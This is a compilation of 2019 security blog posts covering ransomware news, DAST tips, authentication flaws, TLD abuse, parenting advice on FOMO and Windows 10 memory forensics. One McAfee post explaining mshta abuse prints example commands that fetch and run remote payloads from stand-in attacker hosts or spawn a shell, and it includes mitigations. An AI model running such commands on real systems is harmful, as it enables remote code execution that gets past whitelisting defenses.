While Hollywood often gets hacking wrong, “Mr. Robot” is acclaimed for its commitment to authenticity and technical accuracy. And it’s ridiculously entertaining. Inspired by the efforts of the main character Elliot and his band of hackers, we’ve compromised Wi-FI networks, dropped malicious USB drives, and cracked car key fobs — all legally and with permission, of course. With the show’s final season set to air this fall, we want to pay tribute to our favorite show with a “Mr. Robot” spectacular. On the latest episode of “Hackable?” Pedro invites three white-hat hackers to Geoff’s office for attacks straight from past episodes of “Mr. Robot.”

Listen now to the award-winning podcast “Hackable?”.

The post “Hackable?” Dedicates an Entire Episode to “Mr. Robot” appeared first on McAfee Blogs.

Top 5 Ways to Ensure a Smooth Veracode Dynamic Analysis Scan

Dynamic analysis (DAST) is a vital part of all application security programs. Effective application security secures software throughout its entire lifecycle — from inception to production. With the speed of today’s development cycles — and the speed with which software changes and the threat landscape evolves — it would be foolish to assume that code will always be 100 percent vulnerability-free after the development phase. Code in production will always need to be tested or, in some cases, patched. Dynamic analysis plays an important role in ensuring that security spans from left to right in the SDLC.

Veracode provides dynamic scanning using a best-in-class engine that provides speed, accuracy of results, and scale. You can submit large batches of URLs for authenticated scans and expect results you can trust within a timeframe that matches your development cycles.

To ensure the most thorough coverage possible, you want authentication to go smoothly. Here are five key things to keep in mind to set yourself up for dynamic scanning success:

  1. Prescan: Always allow time to run a prescan to check your authentication and ensure your connection is stable.
  2. If you are using login scripts, always use Selenium IDE to create them.
  3. Schedule scans to occur when you know that the sites will be up (e.g., not during a maintenance window, or leverage the Pause & Resume feature), and when there is lighter traffic.
  4. If you want support for advanced frameworks (Angular, React) or single page applications, select the advanced mode option for scanning to ensure thorough coverage.
  5. Take advantage of app linking: You can link the results from a dynamic analysis to an application profile to evaluate the results against policy, and see the results for all types of scans of the application aggregated in a single report.

Learn more about Veracode Dynamic Analysis on our web site. Or, get more details on the above five tips on running dynamic scans in our Veracode Community, including how-to videos.

MegaCortex Returns…

MegaCortex, a ransomware which was first spotted in January this year, has become active again and has changed the way it previously attacked/targeted the corporate world. In order to simplify its execution and increase its scale of operation, it uses ‘Command Prompt’ instead of ‘PowerShell’ in current targeted campaign. Key…

IDG Contributor Network: Kubernetes security: Best practices for enterprise deployment

Several years later and containers are still the hype for application deployment and migration. CIO Online contributor Paul Rubens broke it down into digestible chunks – explaining benefits, gotchas, container management systems, security and much more. So now that we have figured out more reliable and efficient ways to deploy and scale software across platforms, it has also provided ways for nefarious actors to exploit these containers.

In the last couple of years, while there have been some great improvements around security with containers and their orchestration systems such as Kubernetes, there have been several major vulnerabilities and exploits discovered.

To read this article in full, please click here

What Is Mshta, How Can It Be Used and How to Protect Against It

The not-so Usual Suspects

There is a growing trend for attackers to more heavily utilize tools that already exist on a system rather than relying totally on their own custom malware.

Using .hta files or its partner in crime, mshta.exe, is an alternative to using macro enabled document for attacks and has been around a long time. It is a tool so flexible it even has its own cell on the MITRE ATT&CK matrix.

What Makes Mshta Dangerous?

To start, it is a signed, native Microsoft binary that already exists on Windows that can execute code in a variety of ways, and in today’s living off the land culture that attackers love, this makes it a prime application of interest since code execution can be proxied through it.

Mshta.exe can also be used to bypass application whitelisting defenses and browser security settings.

These types of binaries have been colloquially dubbed “LOLBINs” but more formally have been turned into techniques within the Mitre tactic of Execution. Techniques T1218 and T1216: Signed binary proxy execution and Signed Script Proxy Execution, respectively.[1]

How It Is Used:

The most interesting abuse of native Windows binaries is the ability to run a program that will either execute passed in code, or that will execute a payload hosted remotely. This was quite popular with Casey Smith’s squibblydoo and squiblytwo attacks where regsvr32 and wmic (also considered LOLBINs) were both found to be signed windows binaries able to execute code hosted remotely.

Example 1: A remote file being executed:

   mshta.exe http[:]//malicioussite.com/superlegit.hta

Example 2: Mshta used to execute inline JScript/Vbscript.

Note: this syntax only works in cmd but will give an error if executed in PowerShell.

   mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close)

Example 3: Calling a public method named Exec in a com scriptlet with JavaScript:

   mshta javascript:a=GetObject(“script:http://c2[.]com/cmd.sct”).Exec()

source : https://gist.githubusercontent.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba/raw/6cb52b88bcc929f5555cd302d9ed848b7e407052/Backdoor.sct

Note: notice the similarities between the usage of mshta with the exec method and the corresponding use in regsvr32 in the above gist.

Alternatively, a file with a .hta extension can just as easily be double clicked on by the user where the code is set to autorun on open much like a macro enabled document.

Availability in Public Tools

There is no shortage of easily accessible repos to help someone quickly generate a payload to use mshta. .hta file type generation is available in nearly all public red-teaming tools such as Empire, Metasploit, Unicorn, and Koadic.

Do not forget, however, that mshta’s use is not limited to .hta files. It can also call code registered inside of com scriptlets (.sct) so it is relevant to other tools such as GreatSCT.

It’s also worth noting that even if you have powershell.exe blocked, tools like nps payload have .hta files that dynamically build a project and compile it with msbuild (another tool to be weary of) to create a tool that can execute powershell commands without using powershell.exe at all.

In The Wild:

One of my favorite tools to look for examples is app.any.run. It is an interactive online sandbox and is a great resource for finding new samples. You can even filter by MITRE ATT&CK Technique which is what I did here:

As you can see, there is no shortage of samples to go through. Another interesting detail is we can see several different file extensions used outside of the standard .hta and even some where the sandbox has found there are no threats detected. Is that true though?

Here we can see it has a dubious name of windows-update.hta running from a temp folder. This looks to be a binary embedded within an .hta file to trick automated sandbox detection.

Here we look at another sample with no threats detected.

sha256: 0ab797e7546eaf7bf40971a1f5f979355ed77a16124ae749ef1e90b81e4a3f88

We see multiple file extensions used in the name to try and fool end users into thinking it is a picture. The script appears to be using WMI to spawn a new process which breaks the “expected” process chain of mshta > PowerShell and can allow malware to bypass rules that look for a direct process relationship such as Word > PowerShell.

We can also see the sandbox believes this is not malicious based on its scoring. Luckily, we can look at the PowerShell code that it spawns and get a better idea.

Process tree for 0ab797e7546eaf7bf40971a1f5f979355ed77a16124ae749ef1e90b81e4a3f88

So, mshta can also be used to execute vbscript and WMI to break the process tree chain and launch PowerShell.

And in the below example you can see mshta’s role in continuing part of an infection chain in common malware.

Use of exploit then using mshta to execute remote code spawning the rest of the infection chain

Protection and Recommendations

One of the easiest things you can implement is to change the default applications for files with an .hta extension from mshta.exe to a plain text editor such as notepad to help keep users from unwittingly double clicking a malicious .hta attachment

If you are a McAfee customer, McAfee Endpoint Security (ENS) provides rules 322, which is now enabled by default, and 324 that can be enabled in ePO to help protect your environment against malicious mshta abuse.[2]

You should also spend some time exploring where abusable native binaries like mshta.exe are used in your environment. If there are no business needs that require it, blocking it outright is advised. If it is required, understand where and why so you can find the systems running things like mshta.exe that aren’t expected to be.

 

For more insights and tips like these subscribe to this blog or check out the latest threats from our Threat Center.

[1] For a more complete list of these see: https://lolbas-project.github.io/

[2] Located within the Advanced Threat Protection module of ENS

The post What Is Mshta, How Can It Be Used and How to Protect Against It appeared first on McAfee Blogs.

Using Intelligent Data Controls to Accelerate Business

In our previous blog post, Getting Started with Cloud Governance, enterprise security architect Wayne Anderson discussed the challenge of understanding the “sanctioned” path to the cloud and how governance was the initial building block for cloud security. To understand the sanctioned path, we must have visibility into our overall use of cloud services and further apply a set of intelligent controls that enforce our governance requirements. These steps become the building blocks for intelligent data control, which tightens our data security posture and allows accelerated business transformation.

Before we focus on the intelligent control of data in sanctioned services, we must have a good understanding of what services are being utilized in our environment, along with the associated risk they bring. Setting requirements for cloud service governance is a good first step in identifying and limiting services. To map a set of technical controls to the problem data protection in the cloud, we must start with an architecture and an intelligent model that helps us achieve the desired controls.

The application of intelligent data control starts with a centrally managed platform that is elastic and works across all cloud services models, from SaaS, to PaaS and IaaS. There must be a consistent model in place for the visibility and control of allowable services as well as the control of data for sanctioned applications. The data policies used by the platform should also be consistent in both device-to-cloud and cloud-and-cloud scenarios.

Here’s a diagram showing a common control plane across cloud models:

Once we have the platform defined and in place, we monitor the cloud services being used and build an inventory of discovered services.

Here’s a sample inventory of cloud services using McAfee MVISION Cloud as our platform:

The discovered cloud services inventory is mapped against a comprehensive cloud services risk registry that assesses each service against dozens of attributes that can be used for fine-grained governance policies.

Example cloud service risk profile and attributes:

Finally, we can craft and apply our governance policies, providing visibility and/or remediation of services that fall outside the governance requirements. Any future changes to governance requirements are monitored by an approval workflow system.  The risk registry is updated dynamically and external to the policy execution. This allows for remediation of newly discovered and disallowed cloud services that are outside the acceptable governance requirements.

Intelligent application of governance requirements:

Using this arrangement allows us to implement governance requirements such as total risk (no services allowed with a risk score > 7 on a 1-to-10 scale), not allowing a service that is multi-tenant and does not encrypt data at rest, etc.

Providing intelligent control of cloud services governance policies helps to close the gap of data loss and malware from suspect services that have not been sanctioned. Establishing intelligent governance of cloud services allows for the next step of applying intelligent control to our sanctioned services.

In the future, we will continue the discussion on how intelligent data control can increase data security efficacy and accelerate your business as a result.

The post Using Intelligent Data Controls to Accelerate Business appeared first on McAfee Blogs.

FOMO: How to Help Digital Kids Overcome the Feeling of Missing Out

What happens when you give hundreds of teenagers smartphones and unlimited access to chat apps and social networks 24/7? A generation emerges with a condition called Fear of Missing Out, or, FOMO. While feelings of FOMO have been around for centuries, social media has done its part to amplify it, which can cause some serious emotional fallout for teens today.

What is FOMO

FOMO is that uneasy and often consuming feeling you’re missing out on something more interesting, exciting or better than what you are currently doing. FOMO affects people of all ages in various ways since 77% of humans now own phones. However, for uber-digital teens, FOMO can hit especially hard. Seeing a friend’s Paris vacation photos on Instagram or watching friends at a party on Snapchat can spark feelings of sadness and loneliness that can lead to anxiety and even depression.

As one mom recently shared with us: “My daughter called me a few months ago saying she wanted to drop out of college and travel the world. When I asked her what sparked this and how she planned to finance her adventure, she said, ‘everyone else is doing it, so I’m sure I’ll figure it out.'”

After further discussion, the mom discovered that her daughter’s idea to drop out was a combination of intense FOMO and lack of sleep. It was exam week, the pressure was high, and scrolling Instagram made her daughter question her life choices. When exams ended, her daughter got some sleep and took a few days off of social media and remains in school today.

Signs of FOMO

  • Constantly checking social media (even while on vacation, out with friends, or attending a fun event)
  • Constantly refreshing your screen to get the latest updates and to see people’s responses to your posts
  • Feeling you need to be available and respond to your friends 24/7
  • Obsessively posting your daily activities online
  • Feeling of needing new things, new experiences, a better life
  • Feeling sad, lonely, or depressed after being on social media for extended periods of time
  • Feeling dissatisfaction with one’s life
  • Making life choices or financial decisions based on what you see online

Coaching Kids through FOMO

Nurture JOMO. The Joy of Missing Out, JOMO, is the opposite of FOMO. It’s the feeling of freedom and even relief that we’ve unplugged and are fully present in the moment. To encourage more JOMO and less FOMO, parents can help guide kids toward personal contentment with more phone-free activities such as reading, journaling, face-to-face conversations, outdoor activities, and practicing mindfulness.

Other ways to encourage JOMO: Remind kids they have choices and don’t have to say “yes” to every invitation and to ask themselves, “Is this something I really want to do?” Also, consider challenging them to turn off their phone notifications, try a digital cleanse for a day or even a week, and read and discuss this great JOMO Manifesto together. A big perk of embracing JOMO is also “missing out” on some of the digital risks such as oversharing and risks to reputation and privacy.

Keep a thought journal. Changing your thinking is hard work. Experts suggest that kids suffering from anxiety, depression, or FOMO keep a thought journal to track, analyze, and reframe negative thoughts in more realistic, honest ones. For example, an initial thought might be: “I can’t believe my friends went to the concert without me. They must not want me around.” After thinking honestly about the situation, that thought might change to: “I don’t even like that band, wouldn’t spend money to see them, and my friends know that. Anyway, I had a blast with Ashley at the movies tonight.”

Cut back on social media. Cutting back sounds like an obvious fix, right? That’s the thing about unhealthy habits — they can be very tough to break and sometimes we need help. Most kids will be quick to argue that the amount of time they spend online doesn’t impact their emotions at all but numerous studies and common sense contradict that reasoning. They say this because the thought of cutting back on their social media habits can strike panic. It’s a love-hate routine they don’t quite know how to stop and it is their go-to remedy for boredom. So persist in helping your child reduce screen time. Be creative by offering alternate activities and helping them stay on track with their goals.

Curate for quality. This tip will, no doubt, challenge your kids. You may even get a flat “no way” when you suggest it. When it comes to photo-based platforms like Instagram and Snapchat, challenge your child to think about why they follow certain friends or accounts. Challenge them to delete feeds that are not encouraging, useful, or post quality content. They may not want to reduce their friends’ list (follower and friend counts matter) but they can mute accounts so they don’t have to see content that triggers FOMO feelings.

FOMO is a very real feeling so if your child shows signs of it be sure to validate their feelings. Periodic feelings of exclusion and hurt are part of being human. Don’t, however, allow faulty, streaming perceptions to push out the true joys of real-life experiences. Be the bridge of reason for your kids reminding them that social media spotlights the best versions of people’s lives — the filtered versions — but that nothing compares to showing up and living the real adventure.

The post FOMO: How to Help Digital Kids Overcome the Feeling of Missing Out appeared first on McAfee Blogs.

Weekly Update 149

Weekly Update 149

What. A. Week.

I've been in San Fran meeting with a whole bunch of potential purchasers for HIBP and it's been... intense. Daunting. Exciting. It's actually an amazing feeling to see my "little" project come to this where I'm sitting in a room with some of the most awesome tech companies whilst flanked by bankers in suits. I try and give a bit of insight into that in this week's video, keeping in mind of course that I'm a bit limited by how much detail I can go into right now. As the process unfolds I'll share more, but hopefully this will give you a little taste of what I'm going through at present.

Weekly Update 149
Weekly Update 149
Weekly Update 149

References

  1. Our password hashing has no clothes (SHA-1 as a password storage mechanism was pretty useless 7 years ago, yet here we still are)
  2. 38% of requests to the HIBP API are already using the authenticated V3 version (that was 44% when I checked it a day later)
  3. Password manager adoption rates are as low as 0.09% (so what does that tell you about how people are creating passwords?)
  4. Shape Security is sponsoring my blog this week (Captcha is no longer enough, they're talking about how Shape Connect blocks automation & improves security instantly, with a 30 minute implementation)

Briton who helped stop 2017 WannaCry virus spared jail over malware charges

  • Marcus Hutchins pleaded guilty to two malware charges
  • 25-year-old ‘incredibly thankful’ to be sentenced to time served

The British computer expert who helped shut down the WannaCry cyberattack on the NHS said he is “incredibly thankful” after being spared jail in the US for creating malware.

Marcus Hutchins was hailed as a hero in May 2017 when he found a “kill switch” that slowed the effects of the WannaCry virus affecting more than 300,000 computers in 150 countries.

Related: FTSE 250 firms exposed to possible cyber-attacks, report finds

Continue reading...

State of Louisiana Declares State of Emergency Following Malware Attacks

Veracode State of Louisiana 2019 Malware Attacks

On Wednesday, Louisiana Governor John Bel Edwards declared a state of emergency following a series of cyberattacks impacting the computer and phone systems of several of the state’s school districts. The declaration, which will remain in place for the entire state until Aug. 21, is out of concern that the attacks could spread to affect other organizations in local and state government.

According to Gov. Edwards’ office, the attacks were directed at school systems in the Sabine, Ouachita, and Morehouse districts, and are described as "severe, intentional cybersecurity breaches" that "may potentially compromise other public and private entities throughout" the state in the emergency declaration.

The declaration, which is the state’s first cybersecurity emergency activation, allows several resources to be devoted to the ongoing investigation. This includes cybersecurity experts from the Louisiana National Guard, Louisiana State Police, the Office of Technology Services – and others – to determine how best to resolve and prevent future cyberattacks. The state is also coordinating with the FBI on the issue.

According to CNN, there have been at least 22 reported breaches of public sector networks in 2019. Recently, ransomware hackers have taken over the computer systems of several cities, including Atlanta, Baltimore, Albany, and at least two cities in Florida.

In 2017, Gov. Edwards created the Louisiana Cybersecurity Commission – a 15-member board inclusive of state officials, private-sector executives, and academics – in anticipation of such attacks on its government-run organizations and systems.

“This is exactly why we established the Cyber Security Commission, focused on preparing for, responding to and preventing cybersecurity attacks, and we are well-positioned to assist local governments as they battle this current threat,” Edwards said in a statement.

The State of Software Security for Government and Education Sector

In a world where the threat landscape is always evolving, public sector agencies around the U.S. are taking steps to ensure that their technology and critical infrastructure systems have the right protections in place – just as they’re ensuring that they have the right policies and processes in place when a cyberattack cannot be prevented. A great example of this is how Colorado created the standard for best defense following the 2018 SamSam ransomware attack on its public transportation system, and additional examples of cyberattacks impacting critical infrastructure can be found in the Policymakers’ Guide to the State of Software Security.

It’s true that there is plenty to celebrate according to Veracode’s State of Software Security Volume 9 (SOSS Vol. 9), which showed that the Government and Education sector improved significantly over the previous report. In SOSS Vol. 8, the industry was dead last in latest scan OWASP pass rank. This year, it came in second only to healthcare.

In examining flaw persistence – or how long it takes to close a flaw from first discovery – the analysis curve shows that while these organizations are slower than usual out of the gate, they pick up speed with resolving vulnerabilities as they dig into the second half of remaining flaws.

 

It’s understood that the reliance on digital technologies and software will continue to increase, just as the threat landscape will remain fluid and ever-changing. With approximately one quarter of breaches occurring through web application attacks, it’s imperative that government organizations and agencies ensure their applications are protected.

After seeing the rise in data breaches at all levels of government, the State of Missouri enlisted Veracode to create and implement an application security program that fixed more than 28,000 flaws in the first year of the program, and scaled to 360+ applications within three years. Curious to learn more about how Veracode helped the State of Missouri build and scale its application security program? Read the case study – which covers the process from start to finish – by clicking here.

The Top Five Web Application Authentication Vulnerabilities We Find

One of the most important parts of a web application is the authentication mechanism, which secures the site and also creates boundaries for each user account. However, during my years of testing web applications, it’s still very common to find authentication mechanisms with vulnerabilities. I currently work as a principal penetration tester on Veracode’s MPT team, and I would say nine out of 10 websites I test have at least one of the following vulnerabilities:

Weak Password Policy

It’s not uncommon to find a website that does not follow a strong password policy. Recently, I tested an application where the minimum length of the password was only five characters long. This vulnerability is very common as developers try to get the balance between security and usability correct.

It’s also not uncommon to find applications that allow end users to set weak passwords, like “password,” “qwerty,” or “1234567,” for example. These types of passwords are well known to attackers and are always found in data leaks where companies have been breached.

Another vulnerability that I have seen, but is less common, is not allowing end users to copy and paste in the password field. This does not really improve security, but hinders it, since it stops people from generating passwords of 15 characters or more.

When I find vulnerabilities like this during a penetration test, I recommend the following:

  • Minimum of eight characters
  • Alphanumeric characters
  • Mixture of upper and lowercase
  • Forbid passwords containing username or company name
  • Forbid three or more identical characters, e.g., aaa or 111
  • Forbid three or more consecutive characters, e.g. abc or 123
  • If possible, implement a blacklist, which would stop end users entering weak and common passwords. You could also use the haveibeenpwned API to look for compromised passwords. You can find some examples on the following URL: https://haveibeenpwned.com/API/Consumers

Two-Factor Authentication (2FA)

Another very common vulnerability I come across often with web authentication mechanism is the lack of additional security measures. It’s very rare to see developers implementing two-factor authentication, especially on high-privileged accounts.

There are a number of ways to implement 2FA technology, including RSA tokens, code generators such as Google Authenticator, and Duo and SMS text messaging of one-time codes. Implementing 2FA can also present a number of challenges, especially when “regular” users and “privileged” users both log into the application using the same authentication mechanism. While I would recommend two-factor authentication whenever it is practical, it is difficult to propose across the board for privileged roles. Because there is no industry standard to recommend for applications that mix administrative and non-administrative functions together, a broader design analysis may be needed. Separating administrative functions, such as user-account management, into completely separate applications with stronger authentication schemes is a good goal.

User Enumeration

This vulnerability is usually one of the quickest and easiest vulnerabilities to prevent. It’s mainly due to the error messages being presented back to the end user. If an invalid user attempts to authenticate, the error presented back would be different from that presented to a valid user. An invalid user might be presented with the error “account not found.” As such, a change to the error message will resolve this vulnerability nine times out of 10.

This type of vulnerability can often be found in various places within a web application where a username is required, e.g., login page, forgot password, registration, etc. A good solution for user enumeration vulnerabilities would be to make sure any information presented back to the end user is generic. For example, “if your account was found in our system, you will receive an email shortly.” However, this can be a bit tricky to implement on user registration pages. In these situations, it’s best to provide the new account with a random username.

Resolving user enumeration on account registration is a bit harder. A captcha should be implemented on the page and must be filled out correctly before being able to “Submit” the form. While this does not prevent harvesting altogether, it does defeat automated attacks and limits probing to manual analysis only. An alternative method would be to assign usernames instead of letting users choose them.

Broken Password Reset

This is not that common, but every so often I test a web application that has implemented this functionality in a bad way. This is usually found in the token being used for the reset either being weak or the password being sent to the end user via email.

A common mistake a lot of developers make is thinking that base64 encoding is the same as encryption. As such, they sometimes use this method to encode sensitive data. In password reset functionality, I have seen the token to reset a password using a base64 encoded email address. By decoding this and adding another email address, it was possible to change that end user’s password as long as the account was valid.

Another vulnerability affecting password resets is sending the plaintext password back to the end user. This is bad for a number of reasons, including the fact that the password has been sent via email, which is deemed insecure. This may indicate that the password is being stored in the database without proper salting and hashing or is in a reversible format like base64. 

This is less common these days as most frameworks have built-in functions that are tried and tested. However, every so often, you do come across developers that write their own functions to implement password reset functionality. I recommend that if you're using a framework, you use the functionality within that framework. I also recommend that all passwords are stored in a secure manner using a salt and strong hashing algorithm.

Brute Force Attacks

A common attack against authentication pages is a brute force attack. A brute force attack is where an attacker will attempt multiple usernames and passwords until they obtain access to a valid account. This type of attack can be easier to perform if the application has a user enumeration or has a weak password policy. There are a number of free tools that help an attacker perform such an attack and make it relatively easy to do.

I would recommend that you track the number of failed login attempts for a user and mark the account as locked. When the number of consecutive unsuccessful login attempts reaches a reasonable threshold (typically three to five failed attempts in a row), require a user to go through the forgotten password process to remove the lock on their account.

Look for These First

As defined in the blog title, these are the most common authentication vulnerabilities I tend to find on web application penetration tests. There are a number of other vulnerabilities that affect web application authentication systems, but these are less common in my experience. It is recommended that web developers look for these common issues and resolve them before they have a penetration test. In most cases, these types of issues can be easy to resolve, and by doing so, the tester can spend his or her time on more complex vulnerabilities.

Learn more about manual penetration testing on our website.

Culture Crossover: The Great Hack

The Great Hack could be another bleak episode of Netflix’s techno-dystopian horror series Black Mirror. A seedy analytics company weaponises millions of data points extracted from unwitting social media users, only to manipulate their political worldviews en masse, foment intercultural conflicts, and, ultimately, usher in an authoritarian leadership. Unfortunately The Great Hack is a documentary.

Examining the Link Between TLD Prices and Abuse

Briefing

Over the years, McAfee researchers have observed that certain new top-level Domains (TLDs) are more likely to be abused by cyber criminals for malicious activities than others. Our investigations reveal a negative relationship between the likelihood for abuse and registration price of some TLDs, as reported by the McAfee URL and email intelligence team. This means that new TLDs are more likely to be picked up by cyber criminals if their registration prices are low.

What is a Top-level Domain?

According to Wikipedia, a top-level domain (TLD) is one of the domains at the highest level in the hierarchical Domain Name System of the Internet. It is the last part of the domain name, e.g. the TLD for www.google.com would be ‘com’.

There are two major types of TLD; country code TLD and generic TLD. The first type of TLD utilizes country codes directly, e.g. co.uk for the United Kingdom, and domains resolving to this type of TLD often have a strong tendency of serving those countries. Generic TLDs typically serve more general content and they form the basis of this study as they represent most of the domains we have observed recently.

TLD Registration Price

As noted by a previous article published by McAfee that bad hackers hack to make financial gains[1], there is no doubt that when cyber criminals plan to conduct malicious activities they will choose the method with the lowest cost to maximize their potential profits.

Below is a list of badly abused TLDs received from the McAfee URL and email intelligence team. Referencing domain.com, we found the one-year registration prices (domains created for malware attacks usually have a short lifespan as they are event-driven; normally they are taken off after the attack is stopped so they are registered for only one year, which is the minimal registration period required by many domain registration platforms, and that is why registration price is chosen for this study) for these abused TLDs are relatively low (under $20 for the first year) in comparison to other generic TLDs on the same list, which suggests that cost is a deciding factor.

To investigate that there is a possible relationship between TLD registration price and abuse rate, we investigated TLDs from different registration price ranges, from $1 to $270, and the results can be seen in the diagram below.   The ‘abuse rate’ mentioned in the diagram is the number of domains under a specific TLD that are marked as either Medium or High Risk by McAfee which are normally blocked at endpoints, divided by the total count of the domains under the same TLD logged in McAfee’s URL database.

We can see that, as TLD registration price goes down, especially when it dips below $20, the abuse rate soars up. This seems to suggest a correlation between price and abuse. Looking at the diagram, although the trend is clear, there are several anomalies. To the left of the diagram we have ‘.BEST’, while to the right we have ‘.HOST’, ‘.LINK’ and ‘.SALE’ for outliers.

A reason for ‘.BEST’ being an outlier could be because, firstly, we do not have many domains under this TLD, so it is possible that the result is skewed due to insufficient samples and, secondly, its lexical feature makes it a really good TLD for marketing domains, especially ones driven by spam activities, even though the registration price is on the higher side.   For the other outliers the reasoning is not so clear. It may be that their lexical features skew them closer to the legitimate side of things in comparison to the rest of the badly abused TLDs. Nonetheless, they still have abuse rates greater than 20%, so they are still badly abused if you compare them to the ones to the left of the diagram.

Side research

While conducting the above study we also considered the percentage of domains under these badly abused TLDs that are ranked among the highest trafficked websites, as reported by services such as Amazon Alexa. A study on the below six TLDs, which our email intelligence team report as being highly associated with spam activities, was carried out.

It can be seen from the chart above that for the domains under these six sample TLDs, the average percentage of Alexa top 1 million websites is below 1%, which reinforces the fact that these TLDs do not typically serve much legitimate content.  Organizations may want to evaluate these findings and based on their risk appetite undertake further scrutiny on the domain of inbound and outbound traffic.  The level of scrutiny undertaken on the originating source very rarely considers the price of registering a domain, and whilst such an approach may not be sufficient to warrant such analysis for many organizations, those with a low risk appetite may want to consider such action.

Advice to our customers

Different customers of McAfee’s have different security policies towards their endpoints which in turn supports their overall risk appeitite.. In regards to the graph depicted above different approaches might be taken on these TLDs that tend to be considered ‘too risky’. if enterprise customers would like to avail of this function, it can be easily achieved by adding a local rule in the McAfee Web Gateway Configuration Panel.

At the same time, for other organizations with a higher risk appetite, such aggressive approach might not be needed. Whatever the final action might be however, it is always good to review the security policies from time to time for your organization and consider what kind of policies would suit your business the best.

Meanwhile, to our Web Advisor customers, we would like to suggest that whenever you receive any URLs that resolve to the risky TLDs mentioned above, if it has a Unverified / Medium / High Risk reputation and/or it does not have any categories in McAfee’s database (which can be double checked at https://trustedsource.org), then please be wary of clicking on those URLs as they may pose a greater security risk to you.

Reference:

[1]. https://securingtomorrow.mcafee.com/consumer/identity-protection/are-all-hackers-bad/

The post Examining the Link Between TLD Prices and Abuse appeared first on McAfee Blogs.

No More Ransom Blows Out Three Birthday Candles Today

Collaborative Initiative Celebrates Helping More Than 200,000 Victims and Preventing More Than 100 million USD From Falling into Criminal Hands

Three years ago, on this exact day, the public and private sectors drew a line in the sand against ransomware. At that time, ransomware was becoming one of the most prevalent cyber threats globally. We were hearing stories of patients being turned away from hospitals and the urgent medical attention they needed because someone clicked on a link in an email! Since that time, every sector has had a litany of examples where companies targeted by ransomware attacks were faced with the digital equivalent of Sophie’s Choice: pay criminals or potentially lose your business.

Three years ago, to this very day, the No More Ransom initiative gave victims a third option: retrieve their files back for free. Of course, a silver bullet for all forms of ransomware does not exist but, as the free decryptor made available by the initiative for the GandCrab ransomware has shown, there is hope.

A Public Private Collaboration Where Success is Measured by Every Victim Saved

No More Ransom began because of an operational problem that could only be solved through collaboration. A Law Enforcement Agency had seized a server which contained private keys that could help decrypt thousands of victims of a particular ransomware family. This provided a great opportunity to help thousands of people—but there was a problem.

A Law Enforcement Agency is bound by a geographical jurisdiction; further, developing decryption software is not its core competency. Fortunately, both global reach and software development happened to be exactly what cybersecurity companies could bring to the table.

It is exciting to see how the initiative has expanded at an enormous rate. Back when we started, we would never have believed that in merely three years we would have helped over 200,000 victims and prevented more than 100 million US dollars from falling into criminal hands.

Even though cyber threats, including ransomware, are constantly evolving we remain confident that, together, we can continue to take a stand and disrupt this form of cybercrime. We are also delighted that so many public and private sector institutions have joined in this fight against the threat of ransomware. What began as a small group of individuals in a room in the Hague is now a global initiative, working together to fight back.

Remember #DontPay #NoMoreRansom

The post No More Ransom Blows Out Three Birthday Candles Today appeared first on McAfee Blogs.

Finding Evil in Windows 10 Compressed Memory, Part One: Volatility and Rekall Tools

Paging all digital forensicators, incident responders, and memory manager enthusiasts! Have you ever found yourself at a client site working around the clock to extract evil from a Windows 10 image? Have you hit the wall at step zero, running into difficulties viewing a process tree, or enumerating kernel modules? Or even worse, had to face the C-Suite and let them know you couldn’t find any evil? Well fear no more – FLARE has you covered. We've analyzed Windows 10 and integrated our research into Volatility and  Rekall tools for your immediate consumption!

Until August 2013, as a skilled consultant, you were generally in good shape. Your tools worked as you expected them to and you were able to forensicate rapidly. Windows 8.1 introduced changes that began to break the tools we know and love. This breakdown largely went unnoticed as most companies continued using Windows 7, but now corporate environments are rolling out Windows 10 images at an ever-increasing pace and forensic tools haven’t kept up.

This blog post is the first in a three-part series covering our Windows 10 memory forensics research. This post coincides with Omar Sardar and Blaine Stancill’s presentation at SANS DFIR Austin 2019 and is designed to introduce you to FLARE’s updates to Volatility and Rekall. The next post will coincide with our BlackHat USA 2019 presentation, in which Omar Sardar and Dimiter Andonov will dig into the nitty-gritty details of the Windows 10 memory manager. The final post will serve as a guide to those seeking to analyze the kernel on their own.

Overview

Traditionally, a complete Windows memory analysis only required forensic tools to parse physical memory and fill in any missing gaps from the pagefile. In Windows 8.1 Microsoft upended this paradigm with the introduction of memory compression and a new virtual store designed to contain compressed memory. While current tools can inspect traditional pagefiles on disk just fine, the virtual store poses a challenge due to sparse documentation and data compression.

To enable a more complete memory analysis on Windows 10, FireEye’s FLARE team analyzed the operating system’s memory manager as well as the algorithms and structures used to retrieve compressed memory. The memory we’re looking for is stored in a virtual store, created by the Store Manager kernel component. The Store Manager is responsible for managing data involved in performance optimization systems, including SuperFetch, ReadyBoost, and ReadyDrive. In this case, the Virtual Store is a RAM-backed entity, leveraging storage space in MemCompression for processes’ compressed data. The results of this research have been ported to both Volatility and Rekall to benefit the security community.

Volatility and Rekall

Volatility and Rekall are two of the most popular open-source memory forensic frameworks available. With the introduction of Windows memory compression, both frameworks have been unable to read compressed pages – until now! The effects of compression were immediately noticeable as many plugins previously reported missing data or did not work altogether. To demonstrate, we will utilize a common plugin called modules that lists drivers loaded at the time of memory capture. In Figure 1, drivers loaded on the system are enumerated, but several paths to the files on disk are paged out to the compression store. These missing paths could very well be the evil you were hunting!


Figure 1: Volatility & Rekall missing data stored in compressed pages

To deal with missing data due to compressed pages, FireEye's FLARE team made multiple additions to Volatility and Rekall to support Windows 10 memory compression. First and foremost, we added the necessary overlays:

An overlay describes the internal data structures used by the Windows 10 memory compression algorithm and makes them available in Python. For example, the overlays define the layout of the SMKM_STORE structure and the B+Trees used to lookup compressed pages. These structures, among others, will be described in additional detail in Part Two of this blog series.

The undocumented Windows structures defined in the overlays are based on information we obtained through analyzing different versions of Windows 10. Being undocumented, these structures are susceptible to change across Windows builds, and even revisions. We currently support versions 1607, 1703, 1709, 1803, and 1809 on both 32-bit and 64-bit architectures. To support additional versions, the layout of the structures must be analyzed and the overlays updated accordingly. Analyzing the kernel to extract these structures will be discussed further in both Part Two and Part Three of this blog series.

The second modification to support compressed pages includes new address spaces for each framework:

